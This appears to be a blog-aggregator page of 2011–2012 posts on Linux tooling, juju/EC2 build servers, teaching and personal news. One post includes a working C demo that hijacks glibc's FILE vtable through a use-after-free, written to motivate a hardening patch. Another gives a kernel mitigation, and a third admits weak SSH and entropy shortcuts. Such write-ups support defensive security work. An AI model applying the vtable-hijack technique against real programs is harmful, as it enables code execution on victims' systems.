Planet Inkscape

Ted Gould: Procmail vs. Launchpad

2012-02-01T16:19:00+00:00

Launchpad users know that it can send quite a bit of e-mail. Okay, a LOT of e-mail. There has been effort on the Launchpad side of things to add controls to set the amount of Launchpad e-mail you get. But for some of us, even getting the mail that you need results in a fair amount of Launchpad mail. In playing with my procmail config for Launchpad mail I stumbled on this little feature that I love, and thought I'd share, as it's cleaned up my mail a lot. The secret rule is:

:0:
* ^X-launchpad-bug:.*product=\/[a-z0-9-]+
.Launchpad.Bugs.${MATCH}/

Quite simply that rule takes the project specifier on a bug mail, and uses it for the folder name that it puts the mail into. This means each project gets it's own mail box, no matter what. So even as you add groups or subscribe to new bugs, you just get new mail boxes. Works for me. Hope it helps other folks too.

Comments: Identi.ca | Twitter

Jon Cruz: Back on Track

2012-02-01T00:21:39+00:00

After being bogged down with 'real life', I've finally managed to get things moving bak on track... so time to get back to the blogging. A lot has gone on, and is getting ready to happen. Conferences conferences conferences and more conferences, hardware, Inkscape hacking, and more...

We have a lot planned, and maybe something for most anyone. Inkscape has picked up a few more active contributors, and I've gotten progress on a few 'interesting' tweaks. Some seem just for fun, but others have good practical application. We're also trying to get together some more organized meetings, online and in person, so that will be good. Also look for more on the front to help promote Inkscape.

Much went on at this past linux.conf.au, with great people helping out and some really outstanding presentations going on. Bruce Perens had some very important things to say, and it looks to be very helpful. And I even had my talk on logo design for developers make it up online. (There are more going up over time, and the mirrors should be getting ogg versions too.)

Posts will show up highlighting things from linux.conf.au and SCALE10x shortly. There will even be a few photos here and there. Most importantly, though, is that things should get more and more active here, and posts should be quite regular now.

Ted Gould: Searching Menus

2012-01-24T14:15:00+00:00

One of the neatest parts about starting to get more application data into the open is that we can start to use it in interesting ways. I'm happy to talk about a new way that we're using the menu data: the HUD. The idea behind the HUD is that you can quickly find functionality in an application without having to know the menu structure. But how does it do it? How can you make it better?

Getting the data

We're using the same Dbusmenu data that is currently exported to the global menu, just remixing it for search. We are searching through the labels in the menu items which gives us already localized data straight from the application. This means that it should work for the language that the application is in. In the future we hope to use information like accessibility data as well as any tooltips that might be attached to a menuitem (though we don't show tooltips in the global menu).

Any application that works with the window menus today should also work with HUD out of the box.

Matching the label

To match the label we're basically using an implementation of the Levenshtein distance with a few additions. What this allows us to do is rank possible solutions in a relevancy order, and present some solutions that might occur via "fat finger" or other similar type errors. But, this also means that there is some fuzzy algorithms involved in the matching which will have to be tuned.

We expect to tune them over the next few releases, and to do that we have a set of test cases that we're using for the tuning. The problem with those test cases? They're only in the languages I speak. You probably speak in more/different/better languages than I do, please feel free to propose merges that extend this test suite so that as we continue to tune the search algorithms we don't leave any language behind.

Remembering Favorites

One of the additions that we add to the distance calculation is an offset based on which entries you've used most recently. Your favorite functionality in the application. Quite simply we're storing a list of items you've used over the last thirty days and a timestamp of when you used them. This database is simple but it can be fun to look into for the curious and I wanted to talk a bit about a couple of the tools that you can use to see the data.

$ hud-list-applications

This will list all the applications that have data on them in your HUD usage database. They are identified by the path to their desktop file as determined by BAMF. You can then look at the menu items used in a specific application:

$ hud-dump-application /usr/share/applications/inkscape.desktop

This shows the individual items that you've used, and the number of times that you've used them. If you want to inspect the exact file tracking the data it is available at:

~/.cache/indicator-appmenu/hud-usage-log.sqlite

While talking about various tools to work with HUD I thought I'd also mention that you can also, just for fun, work with HUD from the command line using the command line tool:

$ hud-cli

Application initial bias

Application designers have always had a problem figuring out how to promote specific functionality that is commonly used to the forefront, while still making the rest of the functionality easily available. The most recent ways that they've done this is with toolbars and ribbon style. You can't adjust the positioning even when you know that the particular toolbar isn't best for the user because it will mess up the user's spacial memory. HUD sidesteps this issue by providing all the options, just promoting certain ones based on usage. They're all in the same place (the HUD) but with always improving ordering.

What happens on first usage of the application? At that point we don't have any way to know what the user wants to do, we we've provide a way for the application designer to provide the most likely items for general users. Effectively, this is the HUD's version of the default toolbar setup in an application; though it automatically decays and adjusts to the user's usage pattern.

The files that control this initial bias are very simple and there is an example in the test suite. Basically they have the various menu items along with a value that describes how to preload the usage database. A '5' there would mean that 5 entries are added to the usage database for that item on the first time that application is used; one for today and each of the four days previous. In this way, as values drop off by being too old, there isn't a step function in how the item is ranked, it just slowly drops down in priority. Application designers should start to think about how they would rank the menu items in their application, and start getting these integrated into either the releases or the packages of those applications so that users have a good first experience with their application.

Development notes

The code for the HUD lives in the indicator-appmenu repository. Currently it exists on a branch that needs to be reviewed before merging, but that shouldn't be for long. I expect it to get merged to trunk in the next couple of weeks.

After that the biggest change will be integration with indicator-appmenu. It was originally implemented as it's own service to make development more agile, but it clearly shares a large amount of data with the global menu and there's no reason to have two repositories in memory of the same data. It also needs to synchronize heavily with the application menu and BAMF, which is also already in indicator-appmenu. Thanks to the magic of DBus no one should notice the change in processes as the names and objects will migrate over to the new process.

As this is more of a first prototype there are also some missing features that need to be added. The first of those is to simply improve the matching. We also need to get better descriptions from application indicators, today we're using their accessibility description (you set those, right?) but that typically has too much information. Lastly, we need to integrate better with applications that expect the about-to-show signal for their menus. This includes XUL applications and some Qt ones, so it's an important feature for making the HUD usable for everyone.

Merges and bugs should be directed towards the indicator-appmenu project and also make sure you've signed the Canonical Contributor Agreement for any code contributed.

Comments: Identi.ca | Twitter

Kees Cook: fixing vulnerabilities with systemtap

2012-01-22T23:22:47+00:00

Recently the upstream Linux kernel released a fix for a serious security vulnerability (CVE-2012-0056) without coordinating with Linux distributions, leaving a window of vulnerability open for end users. Luckily:

it is only a serious issue in 2.6.39 and later (e.g. Ubuntu 11.10 Oneiric)
it is “only” local
it requires execute access to a setuid program that generates output

Still, it’s a cross-architecture local root escalation on most common installations. Don’t stop reading just because you don’t have a local user base — attackers can use this to elevate privileges from your user, or from the web server’s user, etc.

Since there is now a nearly-complete walk-through, the urgency for fixing this is higher. While you’re waiting for your distribution’s kernel update, you can use systemtap to change your kernel’s running behavior. RedHat suggested this, and here’s how to do it in Debian and Ubuntu:

Download the “am I vulnerable?” tool, either from RedHat (above), or a more correct version from Brad Spengler.

Check if you’re vulnerable:

$ make correct_proc_mem_reproducer
...
$ ./correct_proc_mem_reproducer
vulnerable

Install the kernel debugging symbols (this is big — over 2G installed on Ubuntu) and systemtap:

Debian:

# apt-get install -y systemtap linux-image-$(uname -r)-dbg

Ubuntu:

Add the debug package repository and key for your Ubuntu release:

$ sudo apt-get install -y lsb-release
$ echo "deb http://ddebs.ubuntu.com/ $(lsb_release -cs) main restricted universe multiverse" | \
      sudo tee -a /etc/apt/sources.list.d/ddebs.list
$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
$ sudo apt-get update

(This step does not work since the repository metadata isn’t updating correctly at the moment — see the next step for how to do this manually.) Install the debug symbols for the kernel and install systemtap:
```
sudo apt-get install -y systemtap linux-image-$(uname -r)-dbgsym
```

(Manual version of the above, skip if the above works for you. Note that this has no integrity checking, etc.)

$ sudo apt-get install -y systemtap dpkg-dev
$ wget http://ddebs.ubuntu.com/pool/main/l/linux/$(dpkg -l linux-image-$(uname -r) | grep ^ii | awk '{print $2 "-dbgsym_" $3}' | tail -n1)_$(dpkg-architecture -qDEB_HOST_ARCH).ddeb
$ sudo dpkg -i linux-image-$(uname -r)-dbgsym.ddeb

Create a systemtap script to block the mem_write function, and install it:

$ cat > proc-pid-mem.stp <<'EOM'
probe kernel.function("mem_write@fs/proc/base.c").call {
        $count = 0
}
EOM
$ sudo stap -Fg proc-pid-mem.stp

Check that you’re no longer vulnerable (until the next reboot):
```
$ ./correct_proc_mem_reproducer
not vulnerable
```

In this case, the systemtap script is changing the argument containing the size of the write to zero bytes ($count = 0), which effectively closes this vulnerability.

UPDATE: here’s a systemtap script from Soren that doesn’t require the full debug symbols. Sneaky, put can be rather slow since it hooks all writes in the system. :)

Gail Carmichael: You Will Fail to Have a Great Career — Unless...

2012-01-16T14:57:13+00:00

Larry Smith told the TEDxUW (University of Waterloo) audience that they will fail to have a great career. After all, there are ever so many excuses that crop up to justify why you can't follow your passion. Alas, there is no such thing as a "good" career according to Larry, so if you try to settle for one, you'll just end up with one of those terrible, soul-sucking jobs. Unless...

(video link)

Unless.

Gail Carmichael: Real Computer Science in High Schools

2012-01-13T13:13:22+00:00

As someone who is always looking for outreach opportunities with middle and high school students, I enjoyed The Guardian's recent article called Michael Gove to scrap 'boring' IT lessons: Schools to be given freedom to run cutting-edge computer classes under plans for open source curriculum. From the article:

In a speech, the education secretary will say the existing curriculum in Information and Communication Technology (ICT) has left children "bored out of their minds being taught how to use Word and Excel by bored teachers".

Instead he will, in effect, create an "open source" curriculum in computer science by giving schools the freedom to use teaching resources designed with input from leading employers and academics, in changes that will come into effect this September.

I interpreted the initiative to be similar to the curriculum I designed for our department's elective introduction to computers class for arts and social science students. That course, too, has traditionally been mostly about how to use Microsoft Office software. My version covered that only briefly, focusing instead on computer science topics from programming in Scratch and searching and sorting algorithms all the way to human computer interaction. Based on feedback from students and TA's, this was definitely a move in the right direction. It's great to see similar changes happening in high schools.

Niko Kiirala: Soundbox — The construction

2012-01-04T22:29:59+00:00

The Soundbox device I have built uses some construction techniques I want to share with you readers. I'm mainly talking about the enclosure and the texts on controls.

The enclosure itself is built from a simple box bought from a craft store. It was unfinished wooden box with two small hinges and a clasp to hold it closed. The lid and bottom parts were quite nicely suitable size for all the parts, I just needed to build the control panel inside this box.

The control panel is built from 4 mm plywood that I cut to the correct shape with a coping saw (not the best tool for the job, but that was what I happened to have at hand). Then I drilled the holes for the knobs and such. The speaker hole I cut with the coping saw. To keep the control panel in place, I glued some 9 × 9 mm wood bars to the inside of the box, 4 mm from the top of the bottom box so that the control panel will sit flush with the sides of the bottom part.

After constructing the box, I removed the hinges and the clasp and painted the box and control panel with several (maybe four) layers of white spray paint. What surprised me was how much that stuff stinks — I had to keep the parts outdoors for a couple days after painting so that my room would not smell of solvents. The finished box had a distinct solvent smell for like a month after it was done.

The two main knobs — pitch and arpeggio — are of my own design. They're seven-sided knobs with friction fit for the usual 6 mm potentiometer axle. I created the model in Blender and ordered them from a 3D printing company called Shapeways. The design didn't work quite as intended and I had to remove some material from underside of the knob so that the nut that holds the potentiometer in place fits under the knob. I also had to use 6 mm drill bit to widen the centre hole so that the potentiometer axle fits in there.

For the markings on the control panel and the two main knobs I used transfer lettering from Letraset. This is rub-down lettering, that is, you write by finding the required letter from the sheet, placing that to its intended place and rubbing down on the letter sheet so that the letter material is transferred from the sheet to your working piece. These are mainly intended to be used on paper, but they appear to work just fine on wood and plastic.

After writing all the texts I wanted, I coated the control panel, the two red knobs and the box with several (probably three) coats of clear spray lacquer. Before this it would have been possible to rub or scrape the lettering off, though it would have taken some effort. After the lacquer coat the lettering is there to stay. Even though the spray again had quite an amount of solvents, neither the lettering nor the plastic of the two red knobs was adversely affected.

After this, the rest is rather straightforward. I re-attached the hinges and the clasp I had removed before painting the box white. I installed the potentiometers, buttons, switches and the line jack to the control panel with their supplied nuts. The two LEDs and the speaker I attached with hot glue. Eventually I will have to figure out something more sturdy than hot glue for mounting the speaker, for it did come loose at the Alternative Party. The control panel is held in its place by the side walls of the box and the support bars inside the box, but there's nothing stopping you from lifting it upwards to reveal the electronics hidden inside.

Gail Carmichael: An Exciting New Year

2011-12-31T12:03:06+00:00

2011 was special, particularly with the arrival of our daughter Molly. But 2012 is looking pretty great, too!

Although I wasn't able to get an NSF grant application in for Gram's House as planned, one of the researchers I was working with and I have teamed up with another group doing something similar. If that grant gets funded, it leaves us with an opportunity to extend it later with Gram's House. At the same time, the Gram's House researcher is (hopefully) running a pilot project at her university this summer that will help us learn more about how to approach both projects in the most effective way.

I'll be off on maternity leave until September, but I'm looking forward to doing some reading and trying to nail down my thesis plan (I have gone through some iterations already, but am not quite there yet as it turns out). I like knowing that everything I can get done (and feel like getting done) is a bonus, and that I don't have to put myself under a lot of pressure. After all, I want to make sure I enjoy my time with Molly!

I'll be teaching my mini-course (Computer Science and Games: Just for Girls!) for the fifth year. It's only a week long, but that will probably be the first time I'll be away from Molly for so long, so that will be interesting. I'm also considering putting together a programming course for Girl Develop It Ottawa using Processing, which would be fun to teach in the summer.

And perhaps most exciting of all, I'm trying to make attending Grace Hopper 2012 in Baltimore with Andrew and Molly a possibility. It's only a 9 hour drive from home, and if I can get my trip funded, the only cost would be Andrew's conference fee and food (and maybe we can even get him in as a volunteer?). I've wanted Andrew to attend for years now both for the technical content and to get to see into my world of women in computing. As an added bonus, the conference offers free daycare!

Kees Cook: abusing the FILE structure

2011-12-23T00:46:21+00:00

When attacking a process, one interesting target on the heap is the FILE structure used with “stream functions” (fopen(), fread(), fclose(), etc) in glibc. Most of the FILE structure (struct _IO_FILE internally) is pointers to the various memory buffers used for the stream, flags, etc. What’s interesting is that this isn’t actually the entire structure. When a new FILE structure is allocated and its pointer returned from fopen(), glibc has actually allocated an internal structure called struct _IO_FILE_plus, which contains struct _IO_FILE and a pointer to struct _IO_jump_t, which in turn contains a list of pointers for all the functions attached to the FILE. This is its vtable, which, just like C++ vtables, is used whenever any stream function is called with the FILE. So on the heap, we have:

In the face of use-after-free, heap overflows, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in setjmp()/longjmp(), atexit(), etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced PTR_MANGLE/PTR_DEMANGLE to protect these latter functions, but until now hasn’t protected the FILE structure in the same way.

I’m hoping to change this, and have introduced a patch to use PTR_MANGLE on the vtable pointer. Hopefully I haven’t overlooked something, since I’d really like to see this get in. FILE structure usage is a fair bit more common than setjmp() and atexit() usage. :)

Here’s a quick exploit demonstration in a trivial use-after-free scenario:

#include <stdio.h>
#include <stdlib.h>

void pwn(void)
{
    printf("Dave, my mind is going.\n");
    fflush(stdout);
}

void * funcs[] = {
    NULL, // "extra word"
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    pwn,  // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue
};

int main(int argc, char * argv[])
{
    FILE *fp;
    unsigned char *str;

    printf("sizeof(FILE): 0x%x\n", sizeof(FILE));

    /* Allocate and free enough for a FILE plus a pointer. */
    str = malloc(sizeof(FILE) + sizeof(void *));
    printf("freeing %p\n", str);
    free(str);

    /* Open a file, observe it ended up at previous location. */
    if (!(fp = fopen("/dev/null", "r"))) {
        perror("fopen");
        return 1;
    }
    printf("FILE got %p\n", fp);
    printf("_IO_jump_t @ %p is 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Overwrite vtable pointer. */
    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
    printf("_IO_jump_t @ %p now 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Trigger call to pwn(). */
    fclose(fp);

    return 0;
}

Before the patch:

$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0xf7796aa0
_IO_jump_t @ 0x984609c now 0x0804a060
Dave, my mind is going.

After the patch:

$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0x3a4125f8
_IO_jump_t @ 0x984609c now 0x0804a060
Segmentation fault

Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I’d like to see this fixed too, but it’ll require more time to study. :)

Gail Carmichael: Welcome Molly, Future Girl Geek!

2011-12-22T12:29:06+00:00

Andrew and I are delighted to announce the birth of our first child, Molly! She was born on December 16 at 5:47pm and weighed 7 lbs 3 oz. We're all doing well and enjoying our time together as a new family.

Gail Carmichael: Digital Media - New Learners of the 21st Century

2011-12-15T14:11:32+00:00

PBS aired this program back in February this year. It is almost an hour long and features many of the big names in 21st century learning, including James Paul Gee and Katie Salen. If you're interested in game-based education, educational games, and digital media for learning in general, it's a good watch. I quite enjoyed it. (Note: It looks like you can't watch the whole thing in the embedded video, so if you have an hour, head to the full link.)

Watch Full Show on PBS. See more from Digital Media - New Learners Of The 21st Century.

Jon Phillips: Poverty Line in USA vs China

2011-12-13T22:15:36+00:00

Part of the reason I’m not using social media now is that I have found that I am not able to have complete thoughts. Instead 140 characters gives me a funnel towards emotional comments, and unfounded arguments. Well, I have a secret weapon in my battle for making longer than 5 sentence speech fragments, and its more than Christopher, Nkinkade or Wolfgang countering my sometimes emotional decision making.

My original unfounded comment: “China has the most people living in poverty.”

Here’s how a gift email landed in my inbox:

Per our discussion about population in poverty, the latest is that the government has raised the cap from RMB 1274 per yeary to 2300 RMB per year. by the latest standards, there are 120 million people in poverty in China.

According to the U.S. Census Bureau data released Tuesday September 13th, 2011, the nation’s poverty rate rose to 15.1% (46.2 million) in 2010,[2] up from 14.3% (approximately 43.6 million) in 2009 and to its highest level since 1993. In 2008, 13.2% (39.8 million) Americans lived in relative poverty.[3]

The government’s definition of poverty is not tied to an absolute value of how much an individual or family can afford, but is tied to a relative level based on total income received. For example, the poverty level for 2011 was set at $22,350 (total yearly income) for a family of four, which roughly equals RMB 37,995 per person.[4] Most Americans (58.5%) will spend at least one year below the poverty line at some point between ages 25 and 75.[5] There remains some controversy over whether the official poverty threshold over- or understates poverty.

China and the US still has vastly different standards about poverty therefore direct comparison of the number of people in poverty aren’t meaningful.

Thanks for the thoughtful research. Time to get with the program REJON!

Ted Gould: You don't know if you don't measure

2011-12-10T04:31:00+00:00

I'm excited about two new team members that we have, Thomas Voß and Allan LeSage, who are working to increase our quality infrastructure. One of the first things they've been working on is getting per-commit code coverage measurements of our unit tests in to Jenkins. I think that this is great because, while we have tests, we have no real way to know if we have enough tests. Code coverage isn't a magic bullet there, but it does give us some idea of where we stand.

If you had asked me (as soon as yesterday) about dbus-test-runner's test suite I would have described it as good. It's a small amount of code, and it has quite a few tests. So it must be good. Allan submitted a merge request to add code coverage measurements. Here's what came out on the summary:

Line Coverage		Functions		Branches
79.4 %	239 / 301	88.0 %	22 / 25	62.0 %	67 / 108

Ouch! I don't think we could really describe that as good. Not awful, but it should be better, especially for a test tool!

This story does have a happy ending. I took a little bit of time to make a new branch that adds tests, but also makes the utility more testable so that the code can be hit in a reasonable test. Overall, a big win for dbus-test-runner. Here's the results after that branch:

Line Coverage		Functions		Branches
95.2 %	317 / 333	96.2 %	25 / 26	84.4 %	103 / 122

Comments: Identi.ca | Twitter

Gail Carmichael: Kudos to the New RCMP Commissioner

2011-12-09T11:44:42+00:00

The Royal Canadian Mounted Police, our federal police force, recently had its 23rd commissioner formally installed. There have been problems with the previous commissioners, but from what I'm hearing so far from Bob Paulson, things are looking up.

RCMP by focusedcapture

Paulson's take on women deserves kudos. While the organization has nearly 38% of its ranks as women, not many are in the upper ranks. In one article on TheSpec, he is quoted as saying:

“My view is, we bring more women into our decision-making process at the executive level; we have a much more representative decision-making body in the force.”

But he doesn't want to boost the numbers for the sake of equality. As a CTV article reports:

"I recognize that most of our women are concerned that this increase in numbers in the senior ranks will be a measure that is just adding numbers," he said.

"I want to make sure that those employees and members that merit promotion get the promotion. I don't want people to think that we're moving women into the senior ranks just because we need more women."

It seems that Paulson believes that there are many women who deserve to be in the higher ranks but are being overlooked.

Sounds an awful lot like what we need in tech companies and academic institutions, doesn't it?

Kees Cook: how to throw an EC2 party

2011-12-07T17:53:46+00:00

Prepare a location to run juju and install it:

mkdir ~/party
cd ~/party
sudo apt-get install juju

Initialize your juju environment. Be sure to add “juju-origin: ppa” to your environment, along with filling in your access-key and secret-key from your Amazon AWS account. Note that control-bucket and admin-secret should not be used by any other environment or juju won’t be able to distinguish them. Other variables are good to set now too. I wanted my instances close to me, use I set “region: us-west-1“. I also wanted a 64bit system, so using the AMI list, I chose “default-series: oneiric“, “default-instance-type: m1.large” and “default-image-id: ami-7b772b3e”

juju
$EDITOR ~/.juju/environments.yaml

Get my sbuild charm, and configure some types of builders. The salt should be something used only for this party; it is used to generate the random passwords for the builder accounts. The distro and releases can be set to whatever the mk-sbuild tool understands.

bzr co lp:~kees/charm/oneiric/sbuild/trunk sbuild-charm
cat >local.yaml <<EOM
builder-debian:
    salt: some-secret-phrase-for-this-party
    distro: debian
    releases: unstable
builder-ubuntu:
    salt: some-secret-phrase-for-this-party
    distro: ubuntu
    releases: precise,oneiric
EOM

Bootstrap juju and wait for ec2 instance to come up.

juju bootstrap

Before running the status, you can either accept the SSH key blindly, or use “ec2-describe-instances” to find the instance and public host name, and use my “wait-for-ssh” tool to inject the SSH host key into your ~/.ssh/known_hosts file. This requires having set up the environment variables needed by “ec2-describe-instances“, though.

ec2-describe-instances --region REGION
./sbuild-charm/wait-for-ssh INSTANCE HOST REGION

Get status:

juju status

Deploy a builder:

juju deploy --config local.yaml --repository $PWD local:sbuild-charm builder-debian

Deploy more of the same type:

juju add-unit builder-debian
juju add-unit builder-debian
juju add-unit builder-debian

Now you have to wait for them to finish installing, which will take a while. Once they’re at least partially up (the “builder” user has been created), you can print out the slips of paper to hand out to your party attendees:

./sbuild-charm/slips | mpage -1 > /tmp/slips.ps
ps2pdf /tmp/slips.ps /tmp/slips.pdf

They look like this:

Unit: builder-debian/3
Host: ec2-256-1-1-1.us-west-1.compute.amazonaws.com
SSH key fingerprints:
  1024 3e:f7:66:53:a9:e8:96:c7:27:36:71:ce:2a:cf:65:31 (DSA)
  256 53:a9:e8:96:c7:20:6f:8f:4a:de:b2:a3:b7:6b:34:f7 (ECDSA)
  2048 3b:29:99:20:6f:8f:4a:de:b2:a3:b7:6b:34:bc:7a:e3 (RSA)
Username: builder
Password: 68b329da9893

To admin the machines, you can use juju itself, where N is the machine number from the “juju status” output:

juju ssh N

To add additional chroots to the entire builder service, add them to the config:

juju set builder-debian release=unstable,testing,stable
juju set builder-ubuntu release=precise,oneiric,lucid,natty

Notes about some of the terrible security hacks this charm does:

enables password-based SSH access (and locks the default “ubuntu” account), so party attendees don’t need anything but the ssh client itself to get to the builders.
starts rngd -r /dev/urandom to create terrible but plentiful entropy for the sbuild GPG key generation.

Enjoy!

Kees Cook: juju bug fixing

2011-12-07T17:11:34+00:00

My earlier post on juju described a number of weird glitches I ran into. I got invited by hazmat on IRC (freenode #juju) to try to reproduce the problems so we could isolate the trouble.

Fix #1: use the version from the PPA. The juju setup documentation doesn’t mention this, but it seems that adding “juju-origin: ppa” to your ~/.juju/environment.yaml is a good idea. I suggest it be made the default, and to link to the full list of legal syntax for the environment.yaml file. I was not able to reproduce the missing-machines-at-startup problem after doing this, but perhaps it’s a hard race to lose.

Fix #2: don’t use “terminate-machine“. :P There seems to be a problem around doing the following series of commands: “juju remove-unit FOO/N; juju terminate-machine X; juju add-unit FOO“. This makes the provisioner go crazy, and leaves all further attempts to add units stick in “pending” forever.

Big thank you to hazmat and SpamapS for helping debug this.

Gail Carmichael: About to Get Nutty Around Here

2011-12-07T14:10:57+00:00

Things are about to get really nutty, and I expect I won't be able to post to the blog too much in the next 6-8 weeks (though I will still try to get some content here!). So here's a quick update to keep you going.

I've been trying to get as much done for school as possible before baby arrives, but there have been a few factors making this difficult. The main thing is that baby is still in breech position, meaning its head is up instead of down where it should be. Traditionally, this has meant an automatic c-section, which is something I desperately don't want for a number of complex reasons I can't fully articulate here. Fortunately, safe, regular breech deliveries are starting to come back into fashion, and there is a chance that if baby doesn't turn in time I could still avoid the surgery.

But, of course, the best outcome of all would be to get baby to turn and not have to make the tough decision on what to do when labour hits. We've been trying a few things, from the Webster technique to various inversions. We even had an ECV yesterday, where the doctor tries to manually turn the baby from the outside. That was unsuccessful, but we are planning to try again next week and continuing doing everything we can, no matter how silly it seems.

So that's going to be consuming my attention for the next little while. I will still try to be optimistic about getting more done for school, but there may be a point I have to just throw in the towel. I'd be disappointed, but ok with this. You can only do what you can do, right?

Jon Phillips: Creative Commons Website Rebuilt by Fabricatorz

2011-12-06T18:59:45+00:00

Busy time indeed! I made a blog post on Fab blog about the work we did in the fall to rebuild all of Creative Commons public websites. Here’s a snippet:

In early September, Fabricatorz were contracted by Creative Commons to redesign and launch an updated website design in time for the Creative Commons Summit and its fall fundraising campaign. Later we were to roll-out the same theme across their other major websites. That means we had to crank out in a short time a theme that could be simplified, controlled from one set of master files, and change quickly based upon regular direction from CC staff, while making sure everything works well across five web engines: the main wordpress site, civicrm, the cc licensing engine, CC’s Wiki and search.creativecommons.org.

Kees Cook: EC2 instances in support of a BSP

2011-12-06T00:05:17+00:00

On Sunday, I brought up EC2 instances to support the combined Debian Bug Squashing Party/Ubuntu Local Jam that took place at PuppetLabs in Portland, OR, USA. The intent was to provide each participant with their own sbuild environment on a 64bit machine, since we were going to be working on Multi-Arch support, and having both 64bit and 32bit chroots would be helpful. The host was an Ubuntu 11.10 (Oneiric) instance so it would be possible to do SRU verifications in the cloud too.

I was curious about the juju provisioning system, since it has an interesting plugin system, called “charms”, that can be used to build out services. I decided to write an sbuild charm, which was pretty straight forward and quite powerful (using this charm it would be possible to trigger the creation of new schroots across all instances at any time, etc).

The juju service itself works really well when it works correctly. When something goes wrong, unfortunately, it becomes nearly impossible to debug or fix. Repeatedly while working on charm development, the provisioning system would lose its mind, and I’d have to destroy the entire environment and re-bootstrap to get things running again. I had hoped this wouldn’t be the case while I was using it during “production” on Sunday, but the provisioner broke spectacularly on Sunday too. Due to the fragility of the juju agents, it wasn’t possible to restart the provisioner — it lost its mind, the other agent’s couldn’t talk to it any more, etc. I would expect the master services on a cloud instance manager to be extremely robust since having it die would mean totally losing control of all your instances.

On Sunday morning, I started 8 instances. 6 came up perfectly and were excellent work-horses all day at the BSP. 2 never came up. The EC2 instances started, but the service provisioner never noticed them. Adding new units didn’t work (instances would start, but no services would notice them), and when I tried to remove the seemingly broken machines, the instance provisioner completely went crazy and started dumping Python traces into the logs (which seems to be related to this bug, though some kind of race condition seems to have confused it much earlier than this total failure), and that was it. We used the instances we had, and I spent 3 hours trying to fix the provisioner, eventually giving up on it.

I was very pleased with EC2 and Ubuntu Server itself on the instances. The schroots worked, sbuild worked (though I identified some additional things that the charm should likely do for setup). I think juju has a lot of potential, but I’m surprised at how fragile it is. It didn’t help that Amazon had rebooted the entire West Coast the day before and there were dead Ubuntu Archive Mirrors in the DNS rotation.

For anyone else wanting to spin up builders in the cloud using juju, I have a run-down of what this looks like from the admin’s perspective, and even include a little script to produce little slips of paper to hand out to attendees with an instance’s hostname, ssh keys, and builder SSH password. Seemed to work pretty well overall; I just wish I could have spun up a few more. :)

So, even with the fighting with juju and a few extra instances that came up and I had to shut down again without actually using them, the total cost to run the instances for the whole BSP was about US$40, and including the charm development time, about US$45.

UPDATE: some more details on how to avoid the glitches I hit.

Kees Cook: PGP key photo viewing

2011-12-05T21:35:32+00:00

Handy command line arguments for gpg:

gpg --list-options show-photos --fingerprint 0xdc6dc026

This is nice to examine someone’s PGP photo. You can also include it in --verify-options, depending on how/when you want to see the photo (for example, when doing key signings).

If gpg doesn’t pick the right photo viewer, you can override it with --photo-viewer 'eog %I' or similar.

Gail Carmichael: Who Knew Science and Dance Could Be So Closely Related?

2011-12-05T10:00:43+00:00

So often we think of the arts and science as opposites. Many who are talented in one feel hopelessly lost in the other. But the two are more related than it might seem, sometimes in the most unexpected ways...

Take last year's Dance Your PhD contest winners from the chemistry department of my own school, Carleton University. Their dance explains a technique called Systematic Evolution of Ligands by Exponential Enrichment (SELEX).

(Video link)

Or how about the series of videos that explain how sorting algorithms work? I've used these with great effect in my own introductory CS courses, and recall showing it during a TA workshop I attended, where some participants suddenly understood how quick sort worked as a result.

(Video link)

John Bohannon is the man behind the aforementioned Dance Your PhD contest. He recently gave a talk at TEDxBrussels with a modest proposal. He thinks that "bad PowerPoint presentations are a serious threat against the global economy." (A man after my own heart!) Instead of sitting around and wasting time being distracted by pretty pictures and too much data, we should use dance to explain challenging topics and issues.

<p>&amp;amp;amp;lt;p&amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;Video&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/p&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;/p&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;lt;/p&amp;amp;amp;gt;</p>

(Video link)

I think dance is just the start. Art and science are both important and they could be connected in so many meaningful ways. Let's get our thinking and creative caps on and see what we can come up with.

Gail Carmichael: Gamifying College

2011-11-29T11:06:43+00:00

